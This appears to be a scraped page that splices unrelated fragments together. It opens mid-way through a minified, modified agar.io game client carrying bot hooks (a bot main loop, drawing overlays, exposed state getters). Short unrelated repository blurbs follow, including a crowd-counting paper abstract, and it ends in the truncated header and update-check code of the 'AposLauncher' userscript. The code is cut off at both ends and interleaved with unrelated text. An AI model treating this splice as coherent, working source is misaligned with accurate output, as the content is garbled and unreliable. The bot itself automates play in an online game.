setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot
Optima-Chat
AI Native 开发最佳实践
daimuuc
To the best of our knowledge, this is the first work to explicitly address feature similarity issue in multi-column design. Extensive experiments on four challenging benchmarks (ShanghaiTech, UCF_CC_50, UCF-QNRF, and Mall) demonstrate the effectiveness of the proposed innovations as well as the superior performance over the state-of-the-art. More remarkably, our method can be easily applied to other existing multi-column models as a plug-in to significantly boost the performance to a large extent.
alienxs2
No description available
Lifestylerr
/*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.124 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.124; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, 